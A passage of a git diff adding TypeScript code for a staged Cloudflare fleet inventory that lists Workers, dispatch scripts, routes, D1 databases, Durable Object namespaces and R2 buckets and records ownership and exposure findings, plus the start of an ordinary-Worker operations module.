+          'dispatch script inventory',
+          CLOUDFLARE_INVENTORY_BOUND,
+        );
+      }
+      context.sink.add('dispatch-script', {
+        record: 'dispatch-script',
+        scriptId: script.id,
+        tags: [...script.tags],
+      });
+    }
+    if (!page.nextCursor) {
+      return nextStage(stage, context.options, context.sink.counts);
+    }
+    pageOrdinal += 1;
+    if (pageOrdinal >= DISPATCH_PAGE_BOUND) {
+      throw new Error('Cloudflare dispatch script listing exceeded 100 pages');
+    }
+    if (seen.has(page.nextCursor) || page.nextCursor === cursor) {
+      throw new Error('Cloudflare dispatch script listing repeated a cursor');
+    }
+    seen.add(page.nextCursor);
+    cursor = page.nextCursor;
+    if (!context.budget.available) {
+      return { step: 'dispatch-pages', cursor, pageOrdinal };
+    }
+  }
+}
+
+async function advanceRegistrationChecks(
+  context: StageContext,
+  stage: Readonly<{
+    step: 'registration-checks';
+    registrationOrdinal: number;
+  }>,
+): Promise<FleetInventoryStage> {
+  const { registrations, routes } = await hostRoutingSnapshot(context);
+  const scripts = await dispatchScripts(context);
+  const listedByName = new Map(scripts.map((script) => [script.id, script]));
+  context.identity.observe([
+    'registration-checks',
+    stage.registrationOrdinal,
+    registrations.map((registration) => registration.scriptName),
+  ]);
+  const includeDispatchNamespace = context.options.includeDispatchNamespace;
+  let registrationOrdinal = stage.registrationOrdinal;
+  while (registrationOrdinal < registrations.length) {
+    if (!context.budget.available) {
+      if (registrationOrdinal === stage.registrationOrdinal) {
+        throw new CloudflareFleetInventoryBudgetError('registration-checks');
+      }
+      return { step: 'registration-checks', registrationOrdinal };
+    }
+    const registration = registrations[registrationOrdinal];
+    if (!registration) break;
+    const scriptName = detailValue(registration.scriptName, 'scriptName');
+    const listed = listedByName.get(registration.scriptName);
+    if (includeDispatchNamespace && !listed) {
+      context.sink.finding(
+        'stale-script-registration',
+        registration.tenantTag,
+        registration.environment,
+        `registered script '${scriptName}' is absent from the dispatch namespace listing`,
+      );
+    }
+    if (
+      includeDispatchNamespace &&
+      listed &&
+      (!listed.tags.includes(FLEET_SCRIPT_TAG) ||
+        tagValue(listed.tags, 'tenant:') !== registration.tenantTag ||
+        tagValue(listed.tags, 'environment:') !== registration.environment)
+    ) {
+      context.sink.finding(
+        'stale-script-registration',
+        registration.tenantTag,
+        registration.environment,
+        `registered script '${scriptName}' does not match its live fleet tags`,
+      );
+    }
+    checkSignal(context.signal);
+    context.budget.spend();
+    let live: FleetInventoryDispatchWorker | undefined;
+    try {
+      live = await context.deps.inspectDispatchWorker({
+        scriptName: registration.scriptName,
+        ...(context.signal ? { signal: context.signal } : {}),
+      });
+    } catch (error) {
+      if (context.deps.isDispatchCapabilityError(error)) throw error;
+      // The durable finding carries the fixed template only; the transient
+      // provider text stays in the call-local diagnostics.
+      diagnostic(context, `registered script '${scriptName}'`, error);
+      context.sink.finding(
+        'stale-script-registration',
+        registration.tenantTag,
+        registration.environment,
+        `registered script '${scriptName}' could not be inspected`,
+      );
+      registrationOrdinal += 1;
+      continue;
+    }
+    if (!live) {
+      context.sink.finding(
+        'stale-script-registration',
+        registration.tenantTag,
+        registration.environment,
+        `registered script '${scriptName}' is missing`,
+      );
+      registrationOrdinal += 1;
+      continue;
+    }
+    const deploymentOrdinal = context.sink.add('deployment', {
+      record: 'deployment',
+      backend: 'workers-for-platforms',
+      scriptName: registration.scriptName,
+      tenantTag: live.tenantTag,
+      environment: live.environment,
+      artifactVersion: live.artifactVersion,
+      desiredSpecDigest: live.desiredSpecDigest,
+      schemaVersion: live.schemaVersion,
+    });
+    stageDeploymentFacts(context.sink, deploymentOrdinal, {
+      databaseIds: live.databaseIds,
+      durableObjectBindings: live.durableObjectBindings,
+      serviceBindings: live.serviceBindings,
+      queueProducerBindings: live.queueProducerBindings,
+      r2BucketBindings: live.r2BucketBindings,
+      secretNames: live.secretNames,
+      plainTextBindings: live.plainTextBindings,
+      routeHostnames: routes
+        .filter((route) => route.scriptName === registration.scriptName)
+        .map((route) => route.hostname),
+      zoneRoutes: [],
+    });
+    const ownerMatches =
+      registration.keyOwned &&
+      live.tenantTag === registration.tenantTag &&
+      live.environment === registration.environment &&
+      live.databaseIds.length === 1 &&
+      live.databaseIds[0] === registration.databaseId;
+    if (!ownerMatches && registration.keyOwned) {
+      context.sink.finding(
+        'stale-script-registration',
+        registration.tenantTag,
+        registration.environment,
+        `registered script '${scriptName}' does not match its live tenant, environment, or database ownership`,
+      );
+    }
+    registrationOrdinal += 1;
+  }
+  return nextStage(stage, context.options, context.sink.counts);
+}
+
+async function advanceRegistrationPostprocess(
+  context: StageContext,
+  stage: Readonly<{ step: 'registration-postprocess' }>,
+): Promise<FleetInventoryStage> {
+  const { registrations, routes } = await hostRoutingSnapshot(context);
+  const scripts = await dispatchScripts(context);
+  const registrationByScript = new Map(
+    registrations.map((registration) => [
+      registration.scriptName,
+      registration,
+    ]),
+  );
+  for (const script of scripts) {
+    const registration = registrationByScript.get(script.id);
+    if (registration?.keyOwned) continue;
+    context.sink.finding(
+      'unknown-dispatch-scripts',
+      tagValue(script.tags, 'tenant:') ?? 'unknown',
+      tagValue(script.tags, 'environment:') ?? 'unknown',
+      `dispatch script '${detailValue(script.id, 'dispatchScript')}' has no valid owner-checked registry entry`,
+    );
+  }
+  for (const route of routes) {
+    const registration = registrationByScript.get(route.scriptName);
+    if (
+      !registration?.keyOwned ||
+      registration.tenantTag !== route.tenantTag ||
+      registration.environment !== route.environment ||
+      registration.routeHostname !== route.hostname
+    ) {
+      context.sink.finding(
+        'stale-route',
+        route.tenantTag,
+        route.environment,
+        `host route '${detailHost(route.hostname, 'routeHostname')}' does not match its script registration owner`,
+      );
+    }
+  }
+  if (context.options.includeDispatchNamespace) {
+    const namespace = context.deps.dispatchNamespace();
+    const namespaceName = detailValue(namespace, 'dispatchNamespace');
+    checkSignal(context.signal);
+    context.budget.spend();
+    const inventory = await context.deps.getDispatchNamespace({
+      namespace,
+      ...(context.signal ? { signal: context.signal } : {}),
+    });
+    const dispatchScriptCount = inventory.script_count;
+    if (
+      typeof dispatchScriptCount !== 'number' ||
+      !Number.isSafeInteger(dispatchScriptCount) ||
+      dispatchScriptCount < 0
+    ) {
+      throw new Error(
+        `dispatch namespace '${namespaceName}' returned no valid script_count`,
+      );
+    }
+    context.sink.add('meta', {
+      record: 'dispatch-inventory',
+      dispatchScriptCount,
+      name: inventory.namespace_name ?? namespace,
+      ...(inventory.namespace_id
+        ? { namespaceId: inventory.namespace_id }
+        : {}),
+      trustedWorkers: inventory.trusted_workers,
+      scriptCount: dispatchScriptCount,
+    });
+    if (
+      inventory.namespace_name !== namespace ||
+      inventory.trusted_workers !== false
+    ) {
+      context.sink.finding(
+        'trusted-dispatch-namespace',
+        'unknown',
+        'unknown',
+        `dispatch namespace '${namespaceName}' does not attest trusted_workers=false`,
+      );
+    }
+    if (dispatchScriptCount > scripts.length) {
+      context.sink.finding(
+        'unknown-dispatch-scripts',
+        'unknown',
+        'unknown',
+        `dispatch namespace '${namespaceName}' reports ${dispatchScriptCount - scripts.length} script(s) missing from the paginated listing`,
+      );
+    }
+  }
+  return nextStage(stage, context.options, context.sink.counts);
+}
+
+async function advanceCustomDomains(
+  context: StageContext,
+  stage: Readonly<{ step: 'custom-domains' }>,
+): Promise<FleetInventoryStage> {
+  for (const domain of await customDomains(context)) {
+    context.sink.add('meta', {
+      record: 'custom-domain',
+      hostname: domain.hostname,
+      service: domain.service,
+    });
+  }
+  return nextStage(stage, context.options, context.sink.counts);
+}
+
+async function advanceZoneAuthority(
+  context: StageContext,
+  stage: Readonly<{ step: 'zone-authority' }>,
+): Promise<FleetInventoryStage> {
+  checkSignal(context.signal);
+  context.budget.spend();
+  const zoneIds = await context.deps.listWorkerRouteZoneIds(
+    context.signal ? { signal: context.signal } : {},
+  );
+  for (const zoneId of zoneIds) {
+    context.sink.add('meta', { record: 'zone', zoneId });
+  }
+  return nextStage(stage, context.options, context.sink.counts);
+}
+
+async function advanceZoneRoutes(
+  context: StageContext,
+  stage: Readonly<{ step: 'zone-routes'; zoneOrdinal: number }>,
+): Promise<FleetInventoryStage> {
+  checkSignal(context.signal);
+  context.budget.spend();
+  const zoneIds = await context.deps.listWorkerRouteZoneIds(
+    context.signal ? { signal: context.signal } : {},
+  );
+  context.identity.observe(['zone-routes', stage.zoneOrdinal, [...zoneIds]]);
+  let zoneOrdinal = stage.zoneOrdinal;
+  while (zoneOrdinal < zoneIds.length) {
+    if (!context.budget.available) {
+      if (zoneOrdinal === stage.zoneOrdinal) {
+        throw new CloudflareFleetInventoryBudgetError('zone-routes');
+      }
+      return { step: 'zone-routes', zoneOrdinal };
+    }
+    const zoneId = zoneIds[zoneOrdinal];
+    if (zoneId === undefined) break;
+    for (const route of await zoneRoutesForZone(context, zoneId)) {
+      context.sink.add('meta', {
+        record: 'zone-route',
+        zoneId: route.zoneId,
+        routeId: route.routeId,
+        pattern: route.pattern,
+        scriptName: route.scriptName,
+      });
+    }
+    zoneOrdinal += 1;
+  }
+  return nextStage(stage, context.options, context.sink.counts);
+}
+
+async function advanceOrdinaryScripts(
+  context: StageContext,
+  stage: Readonly<{ step: 'ordinary-scripts'; cursor?: string }>,
+): Promise<FleetInventoryStage> {
+  let cursor = stage.cursor;
+  const seen = new Set<string>();
+  for (;;) {
+    checkSignal(context.signal);
+    context.budget.spend();
+    const page = await context.deps.listOrdinaryScripts({
+      ...(cursor === undefined ? {} : { cursor }),
+      ...(context.signal ? { signal: context.signal } : {}),
+    });
+    context.identity.observe([
+      'ordinary-scripts',
+      cursor ?? null,
+      page.scripts.map((script) => {
+        if (typeof script.id !== 'string' || !script.id)
+          throw new Error('ordinary Worker script inventory has an invalid ID');
+        return script.id;
+      }),
+      page.cursor ?? null,
+    ]);
+    for (const script of page.scripts) {
+      if (!script.id?.startsWith(context.options.scriptNamePrefix)) continue;
+      if (context.sink.count('deployment') >= CLOUDFLARE_INVENTORY_BOUND) {
+        throw inventoryBoundExceeded(
+          'ordinary Worker script inventory',
+          CLOUDFLARE_INVENTORY_BOUND,
+        );
+      }
+      // The candidate list is the durable work list for the detail stage; the
+      // deployment itself is staged there, under a later ordinal.
+      context.sink.add('deployment', {
+        record: 'candidate-script',
+        scriptName: script.id,
+      });
+    }
+    if (!page.cursor) {
+      return nextStage(stage, context.options, context.sink.counts);
+    }
+    if (seen.has(page.cursor) || page.cursor === cursor) {
+      throw new CloudflareFleetInventoryCursorError('ordinary-scripts');
+    }
+    seen.add(page.cursor);
+    cursor = page.cursor;
+    if (!context.budget.available) return { step: 'ordinary-scripts', cursor };
+  }
+}
+
+async function advanceOrdinaryScriptDetail(
+  context: StageContext,
+  stage: Readonly<{ step: 'ordinary-script-detail'; scriptOrdinal: number }>,
+): Promise<FleetInventoryStage> {
+  const names = await ordinaryScriptNames(context);
+  context.identity.observe([
+    'ordinary-script-detail',
+    stage.scriptOrdinal,
+    [...names],
+  ]);
+  const domains = await customDomains(context);
+  const zoneRoutes = await allZoneRoutes(context);
+  let scriptOrdinal = stage.scriptOrdinal;
+  while (scriptOrdinal < names.length) {
+    if (!context.budget.available) {
+      if (scriptOrdinal === stage.scriptOrdinal) {
+        throw new CloudflareFleetInventoryBudgetError('ordinary-script-detail');
+      }
+      return { step: 'ordinary-script-detail', scriptOrdinal };
+    }
+    const scriptName = names[scriptOrdinal];
+    if (scriptName === undefined) break;
+    const safeScriptName = detailValue(scriptName, 'scriptName');
+    const scriptZoneRoutes = zoneRoutes.filter(
+      (route) => route.scriptName === scriptName,
+    );
+    checkSignal(context.signal);
+    context.budget.spend();
+    try {
+      const detail = await context.deps.readOrdinaryScriptDetail({
+        scriptName,
+        ...(context.signal ? { signal: context.signal } : {}),
+      });
+      const deployment = ordinaryDeployment(
+        scriptName,
+        detail,
+        scriptZoneRoutes,
+      );
+      if (deployment.publiclyReachable) {
+        context.sink.finding(
+          'incomplete-deployment',
+          deployment.tenantTag,
+          deployment.environment,
+          `trusted Worker '${safeScriptName}' is publicly reachable on workers.dev, a preview URL, or a zone route`,
+        );
+      }
+      const deploymentOrdinal = context.sink.add('deployment', {
+        record: 'deployment',
+        backend: 'plain-worker',
+        ...(deployment.resourceRole
+          ? {
+              resourceRole: deployment.resourceRole,
+              resourceGroupId: deployment.resourceGroupId,
+            }
+          : {}),
+        scriptName: deployment.scriptName,
+        tenantTag: deployment.tenantTag,
+        environment: deployment.environment,
+        artifactVersion: deployment.artifactVersion,
+        ...(deployment.desiredSpecDigest
+          ? { desiredSpecDigest: deployment.desiredSpecDigest }
+          : {}),
+        schemaVersion: deployment.schemaVersion,
+      });
+      stageDeploymentFacts(context.sink, deploymentOrdinal, {
+        databaseIds: deployment.databaseIds,
+        durableObjectBindings: deployment.durableObjectBindings,
+        serviceBindings: deployment.serviceBindings,
+        queueProducerBindings: deployment.queueProducerBindings,
+        kvNamespaceBindings: deployment.kvNamespaceBindings,
+        r2BucketBindings: deployment.r2BucketBindings,
+        secretNames: deployment.secretNames,
+        plainTextBindings: deployment.plainTextBindings,
+        routeHostnames: domains
+          .filter((domain) => domain.service === scriptName)
+          .map((domain) => domain.hostname),
+        zoneRoutes: scriptZoneRoutes.map(
+          ({ scriptName: _scriptName, ...route }) => route,
+        ),
+      });
+    } catch (error) {
+      // Cross-stage provider drift (a script deleted after the listing) lands
+      // here, exactly as the single-pass drain surfaces it.
+      diagnostic(context, `plain Worker '${safeScriptName}'`, error);
+      context.sink.finding(
+        'incomplete-deployment',
+        'unknown',
+        'unknown',
+        `plain Worker '${safeScriptName}' could not be inventoried`,
+      );
+    }
+    scriptOrdinal += 1;
+  }
+  return nextStage(stage, context.options, context.sink.counts);
+}
+
+async function advanceRouteClaims(
+  context: StageContext,
+  stage: Readonly<{ step: 'route-claims' }>,
+): Promise<FleetInventoryStage> {
+  const domains = await customDomains(context);
+  const zoneRoutes = await allZoneRoutes(context);
+  const identities = await plainIdentities(
+    context,
+    await ordinaryScriptNames(context),
+  );
+  for (const domain of domains) {
+    const identity = identities.get(domain.service);
+    context.sink.add('route', {
+      record: 'route',
+      backend: 'plain-worker',
+      surface: 'custom-domain',
+      hostname: domain.hostname,
+      scriptName: domain.service,
+      tenantTag: identity?.tenantTag ?? 'unknown',
+      environment: identity?.environment ?? 'unknown',
+    });
+    if (!identity) {
+      context.sink.finding(
+        'stale-route',
+        'unknown',
+        'unknown',
+        `custom domain '${detailHost(domain.hostname, 'customDomain')}' points to a missing or incomplete plain Worker '${detailValue(domain.service, 'scriptName')}'`,
+      );
+    }
+  }
+  for (const route of zoneRoutes) {
+    const identity = identities.get(route.scriptName);
+    context.sink.add('route', {
+      record: 'route',
+      backend: 'plain-worker',
+      surface: 'zone-route',
+      zoneId: route.zoneId,
+      routeId: route.routeId,
+      hostname: route.pattern,
+      scriptName: route.scriptName,
+      tenantTag: identity?.tenantTag ?? 'unknown',
+      environment: identity?.environment ?? 'unknown',
+    });
+    context.sink.finding(
+      'stale-route',
+      identity?.tenantTag ?? 'unknown',
+      identity?.environment ?? 'unknown',
+      `zone route '${detailHost(route.pattern, 'zoneRoutePattern')}' exposes plain Worker '${detailValue(route.scriptName, 'scriptName')}'`,
+    );
+  }
+  return nextStage(stage, context.options, context.sink.counts);
+}
+
+async function advanceDatabases(
+  context: StageContext,
+  stage: Readonly<{ step: 'd1-databases' }>,
+): Promise<FleetInventoryStage> {
+  let cursor: string | undefined;
+  let encountered = 0;
+  const seen = new Set<string>();
+  for (;;) {
+    checkSignal(context.signal);
+    context.budget.spend();
+    const page = await context.deps.listDatabases({
+      ...(cursor === undefined ? {} : { cursor }),
+      ...(context.signal ? { signal: context.signal } : {}),
+    });
+    for (const database of page.databases) {
+      encountered += 1;
+      if (encountered > MAX_DATABASE_INVENTORY) {
+        throw inventoryBoundExceeded(
+          'D1 database inventory',
+          MAX_DATABASE_INVENTORY,
+        );
+      }
+      if (
+        typeof database.uuid !== 'string' ||
+        !database.uuid ||
+        typeof database.name !== 'string' ||
+        !database.name
+      )
+        throw new Error('D1 database inventory has an invalid uuid or name');
+      if (database.name.startsWith(context.options.databaseNamePrefix)) {
+        context.sink.add('database-id', {
+          record: 'database-id',
+          databaseId: database.uuid,
+        });
+      }
+    }
+    if (!page.cursor) {
+      return nextStage(stage, context.options, context.sink.counts);
+    }
+    if (seen.has(page.cursor) || page.cursor === cursor) {
+      throw new CloudflareFleetInventoryCursorError('d1-databases');
+    }
+    seen.add(page.cursor);
+    cursor = page.cursor;
+  }
+}
+
+async function advanceDurableObjectNamespaces(
+  context: StageContext,
+  stage: Readonly<{ step: 'do-namespaces' }>,
+): Promise<FleetInventoryStage> {
+  const { registrations } = await hostRoutingSnapshot(context);
+  const registeredScriptNames = new Set(
+    registrations.map((registration) => registration.scriptName),
+  );
+  let cursor: string | undefined;
+  let encountered = 0;
+  const seen = new Set<string>();
+  for (;;) {
+    checkSignal(context.signal);
+    context.budget.spend();
+    const page = await context.deps.listDurableObjectNamespaces({
+      ...(cursor === undefined ? {} : { cursor }),
+      ...(context.signal ? { signal: context.signal } : {}),
+    });
+    for (const namespace of page.namespaces) {
+      encountered += 1;
+      if (encountered > CLOUDFLARE_INVENTORY_BOUND) {
+        throw inventoryBoundExceeded(
+          'Durable Object namespace inventory',
+          CLOUDFLARE_INVENTORY_BOUND,
+        );
+      }
+      if (
+        typeof namespace.id !== 'string' ||
+        namespace.id.length === 0 ||
+        typeof namespace.script !== 'string' ||
+        namespace.script.length === 0
+      )
+        throw new Error(
+          'Durable Object namespace inventory has incomplete identity or association',
+        );
+      if (
+        registeredScriptNames.has(namespace.script) ||
+        namespace.script.startsWith(context.options.scriptNamePrefix)
+      ) {
+        context.sink.add('namespace-id', {
+          record: 'namespace-id',
+          namespaceId: namespace.id,
+        });
+      }
+    }
+    if (!page.cursor) {
+      return nextStage(stage, context.options, context.sink.counts);
+    }
+    if (seen.has(page.cursor) || page.cursor === cursor) {
+      throw new CloudflareFleetInventoryCursorError('do-namespaces');
+    }
+    seen.add(page.cursor);
+    cursor = page.cursor;
+  }
+}
+
+async function advanceR2Buckets(
+  context: StageContext,
+  stage: Readonly<{
+    step: 'r2-buckets';
+    jurisdictionOrdinal: 0 | 1 | 2;
+    startAfter?: string;
+  }>,
+): Promise<FleetInventoryStage> {
+  if (!context.options.includeR2Buckets) {
+    return nextStage(stage, context.options, context.sink.counts);
+  }
+  let jurisdictionOrdinal = stage.jurisdictionOrdinal;
+  let startAfter = stage.startAfter;
+  for (;;) {
+    const jurisdiction = R2_JURISDICTIONS[jurisdictionOrdinal];
+    if (jurisdiction === undefined) {
+      return nextStage(stage, context.options, context.sink.counts);
+    }
+    checkSignal(context.signal);
+    context.budget.spend();
+    let page: FleetInventoryBucketPage | undefined;
+    try {
+      page = await context.deps.listR2Buckets({
+        jurisdiction,
+        namePrefix: context.options.scriptNamePrefix,
+        ...(startAfter === undefined ? {} : { startAfter }),
+        ...(context.signal ? { signal: context.signal } : {}),
+      });
+    } catch (error) {
+      if (
+        jurisdiction === 'default' ||
+        startAfter !== undefined ||
+        !isR2JurisdictionAccessRefusal(error)
+      ) {
+        throw error;
+      }
+      context.sink.add('meta', {
+        record: 'unavailable-r2-jurisdiction',
+        jurisdiction,
+      });
+      context.identity.observe(['unavailable-r2-jurisdiction', jurisdiction]);
+    }
+    if (page !== undefined) {
+      const buckets = page.buckets;
+      context.identity.observe([
+        'r2-buckets',
+        jurisdictionOrdinal,
+        startAfter ?? null,
+        buckets.map((bucket) => bucket.name ?? null),
+      ]);
+      for (const bucket of buckets) {
+        if (!bucket.name?.startsWith(context.options.scriptNamePrefix))
+          continue;
+        if (
+          bucket.jurisdiction !== undefined &&
+          bucket.jurisdiction !== jurisdiction
+        ) {
+          throw new Error(`R2 bucket '${bucket.name}' changed jurisdiction`);
+        }
+        if (
+          !bucket.creation_date ||
+          !Number.isFinite(Date.parse(bucket.creation_date))
+        ) {
+          throw new Error(
+            `R2 bucket '${bucket.name}' has no valid creation date`,
+          );
+        }
+        if (context.sink.count('r2-bucket') >= CLOUDFLARE_INVENTORY_BOUND) {
+          // The bound counts only accepted fleet-owned buckets, not every
+          // provider item scanned while filtering by prefix.
+          throw inventoryBoundExceeded(
+            'R2 bucket inventory',
+            CLOUDFLARE_INVENTORY_BOUND,
+          );
+        }
+        context.sink.add('r2-bucket', {
+          record: 'r2-bucket',
+          bucketName: bucket.name,
+          jurisdiction,
+          creationDate: new Date(bucket.creation_date).toISOString(),
+        });
+      }
+    }
+    if (page === undefined || page.buckets.length < R2_PAGE_SIZE) {
+      const nextOrdinal = jurisdictionOrdinal + 1;
+      if (nextOrdinal > 2) {
+        return nextStage(stage, context.options, context.sink.counts);
+      }
+      jurisdictionOrdinal = nextOrdinal as 0 | 1 | 2;
+      startAfter = undefined;
+    } else {
+      const last = page.buckets.at(-1)?.name;
+      if (!last || last === startAfter) {
+        throw new Error('R2 bucket inventory pagination did not advance');
+      }
+      startAfter = last;
+    }
+    if (!context.budget.available) {
+      return {
+        step: 'r2-buckets',
+        jurisdictionOrdinal,
+        ...(startAfter === undefined ? {} : { startAfter }),
+      };
+    }
+  }
+}
+
+/**
+ * Executes ONE bounded chunk of the stage named by `input.stage`, reproducing
+ * the single-pass drain's provider encounter order, finding vocabulary, finding
+ * order, and inventory bounds. Every provider read goes through `deps`; the
+ * engine holds no credential, no D1 knowledge, and no state between calls.
+ *
+ * Cross-stage provider drift is NOT an error: a resource that changes between
+ * stages is recorded exactly as the drain would surface it, so a generation is
+ * a point-in-time-per-stage snapshot rather than a globally consistent one.
+ */
+export async function advanceCloudflareFleetInventoryStage(
+  deps: CloudflareFleetInventoryDeps,
+  input: FleetInventoryStageInput,
+): Promise<FleetInventoryStageResult> {
+  assertWorkerAttachmentProviderRequestBudget(input.maxProviderRequests);
+  const stage = fleetInventoryStageFromUnknown(input.stage);
+  const budget = new RequestBudget(input.maxProviderRequests, stage.step);
+  const resumed =
+    fleetInventoryStageKey(stage) ===
+    fleetInventoryStageKey(input.progress.stage);
+  const identity = new PageIdentity(
+    resumed ? input.progress.lastPageDigest : undefined,
+    stage.step,
+  );
+  const sink = new StagedRowSink(input.progress.stagedCounts);
+  const context: StageContext = {
+    deps,
+    options: input.options,
+    budget,
+    identity,
+    sink,
+    diagnostics: [],
+    ...(input.signal ? { signal: input.signal } : {}),
+  };
+  checkSignal(input.signal);
+  const next = await advanceStage(context, stage);
+  return {
+    rows: sink.rows,
+    facts: sink.facts,
+    nextStage: next,
+    ...(identity.digest === undefined ? {} : { pageDigest: identity.digest }),
+    providerRequests: budget.used,
+    diagnostics: context.diagnostics,
+  };
+}
+
+async function advanceStage(
+  context: StageContext,
+  stage: FleetInventoryStage,
+): Promise<FleetInventoryStage> {
+  switch (stage.step) {
+    case 'host-kv-keys':
+      return advanceHostKvKeys(context, stage);
+    case 'host-kv-values':
+      return advanceHostKvValues(context, stage);
+    case 'dispatch-pages':
+      return advanceDispatchPages(context, stage);
+    case 'registration-checks':
+      return advanceRegistrationChecks(context, stage);
+    case 'registration-postprocess':
+      return advanceRegistrationPostprocess(context, stage);
+    case 'custom-domains':
+      return advanceCustomDomains(context, stage);
+    case 'zone-authority':
+      return advanceZoneAuthority(context, stage);
+    case 'zone-routes':
+      return advanceZoneRoutes(context, stage);
+    case 'ordinary-scripts':
+      return advanceOrdinaryScripts(context, stage);
+    case 'ordinary-script-detail':
+      return advanceOrdinaryScriptDetail(context, stage);
+    case 'route-claims':
+      return advanceRouteClaims(context, stage);
+    case 'd1-databases':
+      return advanceDatabases(context, stage);
+    case 'do-namespaces':
+      return advanceDurableObjectNamespaces(context, stage);
+    case 'r2-buckets':
+      return advanceR2Buckets(context, stage);
+    default:
+      // `finalize` performs no provider work; the coordinator finalizes.
+      return { step: 'finalize' };
+  }
+}
diff --git a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts
new file mode 100644
index 00000000..8cf471a9
--- /dev/null
+++ b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts
@@ -0,0 +1,801 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type Cloudflare from 'cloudflare';
+import type { ScriptUpdateParams } from 'cloudflare/resources/workers/scripts/scripts';
+import type { VersionCreateParams } from 'cloudflare/resources/workers/scripts/versions';
+import { toFile } from 'cloudflare/uploads';
+import { attestedActiveVersionId } from './active-route.js';
+import {
+  isNotFound,
+  sanitizeProviderError,
+} from './cloudflare-provider-errors.js';
+import { namedWorkerUploadBody } from './cloudflare-worker-upload.js';
+import {
+  readArrayField,
+  readField,
+  readStringField,
+} from './json-field-reads.js';
+import {
+  assertOrdinaryWorkerDeploymentVersions,
+  providerBindingsToPlainWorkerShape,
+  uploadIntentToProviderBindings,
+} from './provider-binding-inventory.js';
+import type {
+  ExternalMutationFence,
+  OrdinaryWorkerDeploymentVersion,
+  PlainWorkerDatabaseInventoryEntry,
+  PlainWorkerDeploymentStatus,
+  PlainWorkerUploadIntent,
+  PlainWorkerVersionDetail,
+  PlainWorkerVersionSummary,
+} from './types.js';
+
+export const MAX_DATABASE_INVENTORY = 25_000;
+const MAX_VERSION_INVENTORY = 5_000;
+
+export interface OrdinaryWorkerFootprint {
+  readonly scriptPresent: boolean;
+  readonly workersDevEnabled?: boolean;
+  readonly previewUrlsEnabled?: boolean;
+  readonly customDomains: readonly Readonly<{
+    id: string;
+    hostname: string;
+    service: string;
+  }>[];
+  readonly zoneRoutes: readonly import('./types.js').WorkerZoneRoute[];
+}
+
+export type CloudflareSdk = InstanceType<typeof Cloudflare>;
+type StagedOrdinaryWorkerUploadMetadata = VersionCreateParams.Metadata & {
+  readonly limits?: {
+    readonly cpu_ms?: number;
+    readonly subrequests?: number;
+  };
+};
+type OrdinaryWorkerUploadMetadata =
+  | (ScriptUpdateParams.Metadata & {
+      readonly limits?: {
+        readonly cpu_ms?: number;
+        readonly subrequests?: number;
+      };
+    })
+  | StagedOrdinaryWorkerUploadMetadata;
+const PREPARED_ORDINARY_WORKER_UPLOAD: unique symbol = Symbol(
+  'fleet-control.preparedOrdinaryWorkerUpload',
+);
+const PREPARED_ORDINARY_WORKER_DEPLOYMENT_VERSIONS: unique symbol = Symbol(
+  'fleet-control.preparedOrdinaryWorkerDeploymentVersions',
+);
+/** @inline */
+export type PreparedOrdinaryWorkerUpload = Readonly<{
+  [PREPARED_ORDINARY_WORKER_UPLOAD]: true;
+  intent: PlainWorkerUploadIntent;
+  files: readonly File[];
+  metadata: string;
+  secretValues: readonly string[];
+}>;
+/** @inline */
+export type PreparedOrdinaryWorkerDeploymentVersions = readonly Readonly<{
+  percentage: number;
+  version_id: string;
+}>[] & {
+  readonly [PREPARED_ORDINARY_WORKER_DEPLOYMENT_VERSIONS]: true;
+};
+
+function readWorkerVersionTag(version: unknown): string | undefined {
+  return readStringField(readField(version, 'annotations'), 'workers/tag');
+}
+
+export function workerMigrations(
+  migrations: readonly import('./types.js').DurableObjectMigration[],
+  previousTag?: string,
+) {
+  if (migrations.length === 0) return undefined;
+  let pending = migrations;
+  if (previousTag !== undefined) {
+    const previousIndex = migrations.findIndex(
+      (migration) => migration.tag === previousTag,
+    );
+    if (previousIndex < 0) {
+      throw new Error(
+        `previous Durable Object tag '${previousTag}' is absent from the ordered migration history`,
+      );
+    }
+    pending = migrations.slice(previousIndex + 1);
+  }
+  if (pending.length === 0) return undefined;
+  return {
+    new_tag: pending.at(-1)?.tag,
+    old_tag: previousTag,
+    steps: pending.map((migration) => ({
+      new_sqlite_classes: migration.newSqliteClasses
+        ? [...migration.newSqliteClasses]
+        : undefined,
+      new_classes: migration.newClasses ? [...migration.newClasses] : undefined,
+      deleted_classes: migration.deletedClasses
+        ? [...migration.deletedClasses]
+        : undefined,
+      renamed_classes: migration.renamedClasses?.map((renamed) => ({
+        from: renamed.from,
+        to: renamed.to,
+      })),
+    })),
+  };
+}
+
+/**
+ * Dependencies used by ordinary-Worker provider operations.
+ *
+ * `accountId` and `client` are values captured from the provisioning client;
+ * the SDK transport reaches that client's request path. `schedule` enters its
+ * operation queue, `collectBounded` walks inventory while leaving the default
+ * bound on the client, `withMutationFence` establishes its mutation-fence
+ * scope, and `workerRouteZoneIds` performs its zone-id lookup.
+ *
+ * `CloudflareProvisioningClient` creates one context in its constructor from
+ * those values and bound arrows.
+ */
+export interface OrdinaryWorkerContext {
+  readonly accountId: string;
+  readonly client: CloudflareSdk;
+  readonly inventoryClient: CloudflareSdk;
+  readonly versionInventoryClient: CloudflareSdk;
+  schedule<T>(operation: () => Promise<T>): Promise<T>;
+  collectBounded<T>(
+    iterable: AsyncIterable<T> | Iterable<T>,
+    label: string,
+    max?: number,
+  ): AsyncGenerator<T>;
+  withMutationFence<T>(
+    fence: ExternalMutationFence,
+    operation: () => Promise<T>,
+  ): Promise<T>;
+  workerRouteZoneIds(): Promise<readonly string[]>;
+}
+type OrdinaryWorkerBaseContext = Pick<
+  OrdinaryWorkerContext,
+  'accountId' | 'client' | 'schedule'
+>;
+type OrdinaryWorkerPagedContext = Pick<
+  OrdinaryWorkerContext,
+  | 'accountId'
+  | 'client'
+  | 'inventoryClient'
+  | 'versionInventoryClient'
+  | 'schedule'
+  | 'collectBounded'
+>;
+type OrdinaryWorkerFencedContext = Pick<
+  OrdinaryWorkerContext,
+  'accountId' | 'client' | 'schedule' | 'withMutationFence'
+>;
+type OrdinaryWorkerFootprintContext = Pick<
+  OrdinaryWorkerContext,
+  | 'accountId'
+  | 'client'
+  | 'inventoryClient'
+  | 'schedule'
+  | 'collectBounded'
+  | 'workerRouteZoneIds'
+>;
+type OrdinaryWorkerCollectContext = Pick<
+  OrdinaryWorkerContext,
+  'accountId' | 'inventoryClient' | 'collectBounded'
+>;
+
